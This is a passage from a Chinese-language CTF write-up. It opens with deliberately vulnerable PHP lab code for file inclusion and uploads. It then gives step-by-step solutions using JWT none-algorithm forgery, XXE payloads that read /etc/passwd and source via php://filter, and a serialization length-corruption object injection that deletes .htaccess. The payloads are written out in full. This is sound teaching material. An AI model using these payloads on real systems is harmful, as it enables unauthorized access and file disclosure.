if(isset($_GET['submit']) && $_GET['filename']!=null){
$filename=$_GET['filename'];
include "include/$filename";//变量传进来直接包含,没做任何的安全限制
// 安全的写法,使用白名单，严格指定包含的文件名
// if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
// include "include/$filename";
// }
}
?>
<div class="main-content1">
<div class="main-content-inner1">
<div class="page-content1">
<div id=fi_main>
<p class="fi_title">PS:这里可以看到一些好看的图片示例哦~</p>
<form method="get">
<select name="filename">
<option value="">--------------</option>
<option value="file1.php">the Eiffel Tower</option>
<option value="file2.php">the Great Wall</option>
<option value="file3.php">Big Ben</option>
<option value="file4.php">Statue Of Liberty</option>
<option value="file5.php">Taj Mahal</option>
</select>
<input class="sub" type="submit" name="submit" />
</form>
<?php echo $html;?>
</div>
</div><!-- /.page-content1 -->
</div>
</div><!-- /.main-content1 -->
</body>
* uploadfunction.php
<?php
//客户端前端验证的后台函数
function upload_client($key,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件！';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败，请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败，请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了，则返回这些值，存储的路径，新的文件名（不要暴露出去）
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
//只通过MIME类型验证了一下图片类型，其他的无验证,upsafe_upload_check.php
function upload_sick($key,$mime,$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件！';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证一下MIME类型
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='上传的图片只能是jpg,jpeg,png格式的！';
$return_data['return']=false;
return $return_data;
}
//新建一个保存文件的目录
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败，请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
$save_path=rtrim($save_path,'/').'/';//给路径加个斜杠
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$_FILES[$key]['name'])){
$return_data['error']='临时文件移动失败，请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了，则返回这些值，存储的路径，新的文件名（不要暴露出去）
$return_data['new_path']=$save_path.$_FILES[$key]['name'];
$return_data['return']=true;
return $return_data;
}
//进行了严格的验证
function upload($key,$size,$type=array(),$mime=array(),$save_path){
$arr_errors=array(
1=>'上传的文件超过了 php.ini中 upload_max_filesize 选项限制的值',
2=>'上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值',
3=>'文件只有部分被上传',
4=>'没有文件被上传',
6=>'找不到临时文件夹',
7=>'文件写入失败'
);
// var_dump($_FILES);
if(!isset($_FILES[$key]['error'])){
$return_data['error']='请选择上传文件！';
$return_data['return']=false;
return $return_data;
}
if ($_FILES[$key]['error']!=0) {
$return_data['error']=$arr_errors[$_FILES[$key]['error']];
$return_data['return']=false;
return $return_data;
}
//验证上传方式
if(!is_uploaded_file($_FILES[$key]['tmp_name'])){
$return_data['error']='您上传的文件不是通过 HTTP POST方式上传的！';
$return_data['return']=false;
return $return_data;
}
//获取后缀名，如果不存在后缀名，则将变量设置为空
$arr_filename=pathinfo($_FILES[$key]['name']);
if(!isset($arr_filename['extension'])){
$arr_filename['extension']='';
}
//先验证后缀名
if(!in_array(strtolower($arr_filename['extension']),$type)){//转换成小写，在比较
$return_data['error']='你传的好像不是图片哦~(后缀名不是'.implode(',',$type).'中的一个)';
$return_data['return']=false;
return $return_data;
}
//验证MIME类型，MIME类型可以被绕过
if(!in_array($_FILES[$key]['type'], $mime)){
$return_data['error']='你上传的是个假图片，不要欺骗我xxx！';
$return_data['return']=false;
return $return_data;
}
//通过getimagesize来读取图片的属性，从而判断是不是真实的图片，还是可以被绕过的
if(!getimagesize($_FILES[$key]['tmp_name'])){
$return_data['error']='你上传的是个假图片，不要欺骗我！';
$return_data['return']=false;
return $return_data;
}
//验证大小
if($_FILES[$key]['size']>$size){
$return_data['error']='上传文件的大小不能超过'.$size.'byte(500kb)';
$return_data['return']=false;
return $return_data;
}
//把上传的文件给他搞一个新的路径存起来
if(!file_exists($save_path)){
if(!mkdir($save_path,0777,true)){
$return_data['error']='上传文件保存目录创建失败，请检查权限!';
$return_data['return']=false;
return $return_data;
}
}
//生成一个新的文件名，并将新的文件名和之前获取的扩展名合起来，形成文件名称
$new_filename=str_replace('.','',uniqid(mt_rand(100000,999999),true));
if($arr_filename['extension']!=''){
$arr_filename['extension']=strtolower($arr_filename['extension']);//小写保存
$new_filename.=".{$arr_filename['extension']}";
}
//将tmp目录里面的文件拷贝到指定目录下并使用新的名称
$save_path=rtrim($save_path,'/').'/';
if(!move_uploaded_file($_FILES[$key]['tmp_name'],$save_path.$new_filename)){
$return_data['error']='临时文件移动失败，请检查权限!';
$return_data['return']=false;
return $return_data;
}
//如果以上都通过了，则返回这些值，存储的路径，新的文件名（不要暴露出去）
$return_data['save_path']=$save_path.$new_filename;
$return_data['filename']=$new_filename;
$return_data['return']=true;
return $return_data;
}
?>
### 未知的风险-1
考点：JWT攻击、XXE
题目打开，显示`hello guest;`
猜测应该是用户身份伪造，查看Cookie
从Cookie中的token格式可以看出来是通过JWT进行身份验证的
jwt解码可以看到Head里面的签名算法和payload里面的用户验证id，下来就是要绕过用户guest，达到任意用户身份伪造。
一般常见的JWT攻击手法主要包括四种：
* 算法修改
* 密钥可控
* 密钥爆破
* None签名
知道了上面的四种攻击手法之后，先对网站进行敏感信息探测是否存在密钥key泄露问题（【X】未果）,接着尝试对上面的token进行密钥的爆破，使用常用的jwt弱密钥爆破工具[c-jwt-cracker: JWT brute force cracker written in C](https://github.com/brendan-rius/c-jwt-cracker)进行爆破
很长时间没爆出来，发现无效，尝试制作相关的弱口令字典
使用自制字典利用工具[JWTPyCrack](https://github.com/Ch1ngg/JWTPyCrack)协助再次进行爆破（结果总是令人伤感的23333）
测试到这里只有最后一种攻击手法了，利用很简单，直接伪造任意用户id，并使用None签名算法进行伪造Token。
根据题目描述只有用户`user`才有权限进行后续的操作，于是对用户`user`进行身份伪造
伪造脚本
import jwt
token = jwt.encode({"id":"user","iat":"1588902740", "jti": "cd811589c43d3d507c64b14a6f64e8d8"},algorithm="none",key="").decode(encoding='utf-8')
print(token)
（在这里，细心的话会发现JWT的第三部分是空的，因为签名算法为None，密钥Key为空）
利用生成伪造的user身份的Token替换原有Token进行伪造用户验证
伪造的用户user通过验证，进入用户登录界面，查看源码，发现存在用户名和密码通过XML进行处理
直接抓包进行XXE漏洞的探测，构造XXE Payload进行敏感文件的读取
<!DOCTYPE message [
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<user><username>&file;</username><password>66666</password></user>
利用payload探测发现内容读取的文件正常回显，并且没有对用户的输入进行过滤
既然存在XXE漏洞且不存在过滤，尝试读取源码doLogin.php
从结果分析，存在xxe漏洞为什么读取不了呢，这里就需要注意了，php文件的格式`<?php ?>`类似XML文件`<?xml
?>`，如果不做处理直接读取是读不出来的，因为其会把php文件当作xml进行解析导致读取出现问题，既然这样可以使用`php://filter`对文件进行base64编码再显示，这样就不会出现上述问题
再次构造Payload
<!DOCTYPE message [
<!ENTITY file SYSTEM "php://filter/convert.base64-encode/resource=doLogin.php">
]>
<user><username>&file;</username><password>66666</password></user>
可以看到这次结果正常，提取编码后的结果进行base64解码
从源码中可以看到包含有flag.php，利用上述payload直接读取得到flag
flag{get_the_methodd}
**附题目源码**
* index.php
<?php
include("jwt_debug_none.php");
$jwt=new Jwt();
if(!isset($_COOKIE['token'])){
$ip=$_SERVER['REMOTE_ADDR'];
$payload=array('id'=>'guest','iat'=>time(),'jti'=>md5(uniqid($ip).time()));
$cookie=$jwt->getToken($payload);
setcookie('token',$cookie);
}
$cookie=$_COOKIE['token'];
$identity='guest';
if($jwt->verifyToken($cookie)){
$identity=$jwt->getidentity();
}
else{
$identity='guest';
}
$allowedPages = array(
'guest' => './in.html',
'user' => './login_for_user.html',
);
include(isset($allowedPages[$identity]) ? $allowedPages[$identity] : $allowedPages["guest"]);
* doLogin.php
<?php
include("jwt_debug_none.php");
include("flag.php");
$ip=$_SERVER['REMOTE_ADDR'];
$jwt=new Jwt();
$USERNAME = 'adm_in'; //账号
$result = null;
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
try{
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
//echo var_dump($dom);
$creds = simplexml_import_dom($dom);
$username = $creds->username;
$password = $creds->password;
if($username == $USERNAME && $password == $PASSWORD){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",1,$username);
//if not null
}else{
}$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",0,$username);
}catch(Exception $e){
$result = sprintf("<result><code>%d</code><msg>%s</msg></result>",3,$e->getMessage());
}
header('Content-Type: text/html; charset=utf-8');
echo $result;
?>
### 未知的风险-2
考点：PHP对象注入、代码审计、序列化
题目上来给了一个文件上传的服务，没有直接去测试，对网站进行敏感信息收集，发现存在`robots.txt`泄露
User-agent: *
Disallow: /index.txt
访问`index.txt`获取网站源码
<?php
include('secret.php');
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir,0777,true);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
if(!isset($_GET['action'])) {
$_GET['action'] = 'home';
}
if(!isset($_COOKIE['files'])) {
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
}
switch($_GET['action']){
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
}
查看源码，发现该题目基本类似于[Insomnihack Teaser
2018](https://link.jianshu.com/?t=https%3A%2F%2Fcorb3nik.github.io%2Fblog%2Finsomnihack-teaser-2018%2Ffile-vault)
该题是一个沙盒文件管理器，允许用户上传文件，同时还允许查看文件的元数据。
文件上传通过cookie来保存上传的文件信息。$_COOKIE[‘files’]的值是个反序列化的数组，数组的每个元素是一个UploadFile对象，保存了一个fakename（上传文件的原始名字，可以修改）和一个realname（内容hash值）。
用户可以进行下面五类操作：
* 主页/home: （查看主页）通过反序列化cookie的值获得上传文件列表，然后显示在前端页面
case 'home':
default:
$content = "<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>";
$files = myunserialize($_COOKIE['files'], $secret);
if($files) {
$content .= "<ul>";
$i = 0;
foreach($files as $file) {
$content .= "<li><form method='POST' action='index.php?action=changename&i=".$i."'><input type='text' name='newname' value='".htmlspecialchars($file->fakename)."'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i=".$i."' target='_blank'>Click to show locations</a></li>";
$i++;
}
$content .= "</ul>";
}
echo $content;
break;
默认显示上传界面，随后反序列化Cookie存储`files`数组的`UploadFile`对象，遍历显示上传的文件。
* 上传/upload: （上传新文件）创建对象`UploadFile`保存上传文件，无过滤
case 'upload':
if($_SERVER['REQUEST_METHOD'] === "POST") {
if(isset($_FILES['file'])) {
$uploadfile = new UploadFile;
$uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
$files = myunserialize($_COOKIE['files'], $secret);
$files[] = $uploadfile;
setcookie('files', myserialize($files, $secret));
header("Location: index.php?action=home");
exit;
}
}
break;
创建`UploadFile`对象，调用`upload`方法，传入文件名、文件内容在服务器上进行存储，然后反序列化cookie的files对新创建的文件`uploadfile`对象进行追加存储，之后重新设置cookie重新序列化files。
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
* 更改名称/changename:（重命名已上传的文件）修改某个已上传文件的fakename，然后重新序列化
case 'changename':
if($_SERVER['REQUEST_METHOD'] === "POST") {
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
$files[$_GET['i']]->fakename = $_POST['newname'];
}
setcookie('files', myserialize($files, $secret));
}
header("Location: index.php?action=home");
exit;
根据`i`值索引文件对象`UploadFile`，然后更改`fakename`的值，之后重新设置cookie重新序列化files。
* 打开/open: （查看已上传文件的元数据）输出指定文件的fakename和realname信息
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
通过`i`值索引文件对象`UploadFile`，然后调用对象的`open`方法输出指定文件的元数据：`fakename和realname`信息。
* 重置/reset: （删除特定沙盒中的所文件）清空特定的sandbox
case 'reset':
setcookie('files', myserialize([], $secret));
$_COOKIE['files'] = myserialize([], $secret);
array_map('unlink', glob("$sandbox_dir/*"));
header("Location: index.php?action=home");
exit;
通过空数组设置新的cookie，然后删除`$sandbox_dir/`下的文件。
对于用户的操作，其中的每一个操作，都是在沙盒环境中执行的。这里的沙盒，是程序生成的用户专属文件夹，其生成代码如下：
$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
该沙盒还可以防止PHP执行，以生成的.htaccess文件为例，我们可以看到其中的php_flag engine off指令：
if(!is_dir($sandbox_dir)) {
mkdir($sandbox_dir,0777,true);
}
if(!is_file($sandbox_dir.'/.htaccess')) {
file_put_contents($sandbox_dir.'/.htaccess', "php_flag engine off");
}
针对`UploadFile`类，在上传新文件时，将使用以下属性来创建UploadFile：
fakename：用户上传文件的原始文件名；
realname：自动生成的文件名，用于在磁盘上存储文件。
通过Open操作查看文件时，fakename用于文件名的显示，而在文件系统中所保存的文件，实际上其文件名为realname中的名称。
然后，会将UploadFile对象添加到数组，通过自定义的myserialize()函数对其进行序列化，并通过文件Cookie返回给用户。当用户想要查看文件时，Web应用程序会获取用户的Cookie，通过myunserialized()函数对UploadFile对象的数组反序列化，随后对其进行相应的处理。
下面是UploadFile对象的示例：
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b
以下是用于生成上述序列化对象的相关代码：
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
class UploadFile {
function upload($fakename, $content) {
global $sandbox_dir;
$info = pathinfo($fakename);
$ext = isset($info['extension']) ? ".".$info['extension'] : '.txt';
file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
$this->fakename = $fakename;
$this->realname = sha1($content).$ext;
}
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
}
switch($_GET['action']){
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
}
因为每次建立sandbox的时候，都会在目录加上一个`.htaccess`文件来限制php的执行，因此我们无法直接上传shell。同时由于在序列化和反序列化的时候做了签名，我们也不能直接通过修改cookie的方式来改变对象。
由于源代码中没有wakeup()或destruct()这样的magic函数，因此我们不能使用常用的一些反序列化攻击方法。
**发现漏洞：破坏序列化对象**
随着继续的审计和探索，发现应用程序中的漏洞：
function myserialize($a, $secret) {
$b = str_replace("../","./", serialize($a));
return $b.hash_hmac('sha256', $b, $secret);
}
function myunserialize($a, $secret) {
if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
return unserialize(substr($a, 0, -64));
}
}
代码的作者添加了一个`str_replace()`调用，用来过滤掉`../`序列。这就存在一个问题，`str_replace`调用是在一个序列化的对象上执行的，而不是一个字符串。
比如有这么一个序列化后的字符串
php > $array = array();
php > $array[] = "../";
php > $array[] = "hello";
php > echo serialize($array);
a:2:{i:0;s:3:"../";i:1;s:5:"hello";}
在myserialize函数（`../过滤器`）处理后就变成了
php > echo str_replace("../","./", serialize($array));
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
通过过滤，确实已经将`“../”`改为了`“./”`，然而，序列化字符串的大小并没有改变。`s:3:”./“;`显示的字符串大小为3，然而实际上它的大小是2！!
当这个损坏的对象被unserialize()处理时，PHP会将序列化对象(`“`)中的下一个字符视为其值的一部分，而从这之后，反序列化就会出错：
a:2:{i:0;s:3:"./";i:1;s:5:"hello";}
^ --- <== The value parsed by unserialize() is ./"
**伪造任意对象并签名**
既然这样，那么如果合理控制../的数量，是不是就可以引入一个非法的对象呢
php > $array = array();
php > $array[] = "../../../../../../../../../../../../../";
php > $array[] = 'A";i:1;s:8:"Injected';
php > echo serialize($array);
a:2:{i:0;s:39:"../../../../../../../../../../../../../";i:1;s:20:"A";i:1;s:8:"Injected";}
对于这个序列化的字符串，处理以后为：
php > $x = str_replace("../", "./", serialize($array));
php > echo $x;
a:2:{i:0;s:39:"./././././././././././././";i:1;s:20:"A";i:1;s:8:"Injected";}
--------------------------------------- --------
php > print_r(unserialize($x));
Array
(
[0] => ./././././././././././././";i:1;s:20:"A
[1] => Injected
)
这个时候，s:39对应的字符串变成了`./././././././././././././";i:1;s:20:"A`，这样就把本来不应该有的Injected引入了进来。在这个例子中，使用的字符串是“i:1;s:8:”Injected”，但同样，任何基元/对象都可以在这里使用。
继续回到题目本身，情况与之几乎相同。我们需要的就是一个数组，该题中正是`UploadFile`对象数组，在这个数组中我们可以破坏第一个对象，从而控制第二个对象。
我们可以通过上传两个文件来实现漏洞的利用。就像上面的例子一样，我们具体操作如下：
* 上传两个文件，创建两个VaultFile对象；
* 用部分序列化的对象，重命名第二个UploadFile对象中的fakename；
* 借助`../`序列，重命名第一个UploadFile对象中的fakename，使其到达第二个UploadFile对象。
请注意，由于我们现在使用的是Web应用程序的正常功能来执行上述操作，所以就不用再考虑签名的问题，这些操作一定是合法的。
由于`myserialize`的问题，如果我们有一个可控点，就可以尝试引入非法的对象。这个可控点就是changename，changename会修改fakename的值同时重新序列化对象
**使用任意数据伪造序列化对象**
通过上面的探索，现在，就可以使用任意数据，来伪造我们自己的序列化对象。在这一步骤中，我们需要解决的是一个经典的对象注入问题，但在这里，并没有太多技巧或者捷径可以供我们使用。
到目前为止，我们几乎已经用到了应用中所有的功能，但还有一个没有用过，那就是Open。以下是Open的相关代码：
function open($fakename, $realname) {
global $sandbox_dir;
$analysis = "$fakename is in folder $sandbox_dir/$realname.";
return $analysis;
}
case 'open':
$files = myunserialize($_COOKIE['files'], $secret);
if(isset($files[$_GET['i']])){
echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
}
exit;
Open操作通过`i`索引会从$files数组中获取一个对象，并使用$object->fakename和$object->realname这两个参数来调用open()函数。
通过上面知道，可以在$files数组中注入任何对象（就像之前注入的“Injected”字符串一样）。但如果我们注入的不是UploadFile对象，会发生什么？
其实可以看到，open()这一方法名是非常常见的。如果我们能够在PHP中找到一个带有open()方法的标准类，那么就可以欺骗Web应用去调用这个类的open()方法，而不再调用UploadFile中的方法。
简单来看可以理解为下面的实例过程
<?php
$array = new array();
$array[] = new UploadFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);
可以通过欺骗Web应用程序，来实现这一点，从而实现类的欺骗，调用其它类的相同方法：
<?php
$array = new array();
$array[] = new SomeOtherFile();
$array[0]->open($array[0]->fakename, $array[0]->realname);
既然可以这样操作那么下来就是要寻找有那些类包含open()方法，从而实现后续的利用
通过原WP，编写代码列出所有包含open()方法的类：
$ cat list.php
<?php
foreach (get_declared_classes() as $class) {
foreach (get_class_methods($class) as $method) {
if ($method == "open")
echo "$class->$methodn";
}
}
?>
列举结果：
$ php list.php
SQLite3->open
SessionHandler->open
XMLReader->open
ZipArchive->open
经过寻找，共发现有4个类带有open()方法。如果在$files数组中，注入这些类中任意一个的序列化对象，我们就可以通过带有特定参数的open动作，来调用这些类中的方法。
其中的大部分类都能够对文件进行操作。回到之前，我们知道`.htaccess`会在沙盒中阻止我们执行PHP。所以，假如能通过某种方式删掉`.htaccess`文件，那么就成功了。
通过对上面的4个类进行测试，发现，ZipArchive->open方法可以删除目标文件，前提是我们需要将其第二个参数设定为“9”。
`ZipArchive::open`的第一个参数是文件名，第二个参数是flags，而9对应的是`ZipArchive::CREATE |
ZipArchive::OVERWRITE`。`ZipArchive::OVERWRITE`的意思是重写覆盖文件，这个操作会删除原来的文件。
因为UploadFile类的open函数的参数是fakename和realname，fakename对应.htaccess，realname对应flags，这里直接使用`ZipArchive::OVERWRITE`的integer值9，这样我们就可以使用ZipArchive->open()来删除`.htaccess`文件。
**分析编写payload**
先序列化一个ZipArchive类的对象：
<?php
$zip = new ZipArchive();
$zip->fakename = "sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";
$zip->realname = "9";
echo serialize($zip);
O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}
然后随便上传两个文件，查看cookie得到序列化的值
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:9:"pictu.jpg";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"qwe.jpg";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}f96f37cca80ecae3c5f2f30be497c27024a23a24093e9e7a26c9721be025fb7b
根据前面的探索利用，将第二个文件的fakename改成需要构造的ZipArchive的序列化值，如果想单独溢出注入ZipArchive对象，就需要将第二个文件对象中fakename值的前后部分都需要被溢出才行：
* 后面部分：
";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg
67个无用字符，所以ZipArchive序列化对象中的comment的长度为67，部分构造如下：
i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
* 前面部分：
因为第一个文件对象中的fakename需要溢出到第二个文件的fakename值的位置，所以第二个文件对象的fakename值还需要加一部分：
";s:8:"realname";s:1:"A";}
PS：此处的realname内容是什么无所谓，主要是为了序列化的完整性
第二个文件对象最终的fakename值如下：
";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
处理完第二个文件对象的fakename就需要处理第一个文件对象的fakename：
同时，要想ZipArchive对象成功溢出，就需要从第一个文件对象fakename值溢出到第二个文件对象的fakename值，所以第一个fakename值需要溢出的部分为：
";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:7:"
可是这样是不正确的，正确部分的应该是：
";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"
因为我们必须先修改第二个对象的fakename值，然后才能依据重新反序列化的Cooke[files]修改第一个的fakename，而此时的第二个fakename长度已经改变，不再是7，所以这部分溢出的长度为117，因此第一个文件的fakename值就是117个`../`。
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
**最终payload**
依据上述的分析，先修改第二个文件对象的fakename然后再修改第一个文件对象的fakename(不能互换！！！)
第二个文件对象的fakename:
";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"
第一个文件对象的fakename:
../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../
修改伪造之后成功伪造引入非法对象的Cookie
a:2:{i:0;O:10:"UploadFile":2:{s:8:"fakename";s:351:"./././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././";s:8:"realname";s:44:"3c4578834eed3f05bd8b099e7fc2c633af6c5fdc.jpg";}i:1;O:10:"UploadFile":2:{s:8:"fakename";s:253:"";s:8:"realname";s:1:"A";}i:1;O:10:"ZipArchive":7:{s:8:"fakename";s:58:"sandbox/ded5a68df70145b3a0bbe9c4290a729d37071e54/.htaccess";s:8:"realname";s:1:"9";s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:67:"";s:8:"realname";s:44:"75a9c6a2fcb5d7c6809ec7c1a5859a7f83637159.jpg";}}cc2ffa6941ffc8895e4c029f62046ab7963af6ec9e5061103d71a295834b388b
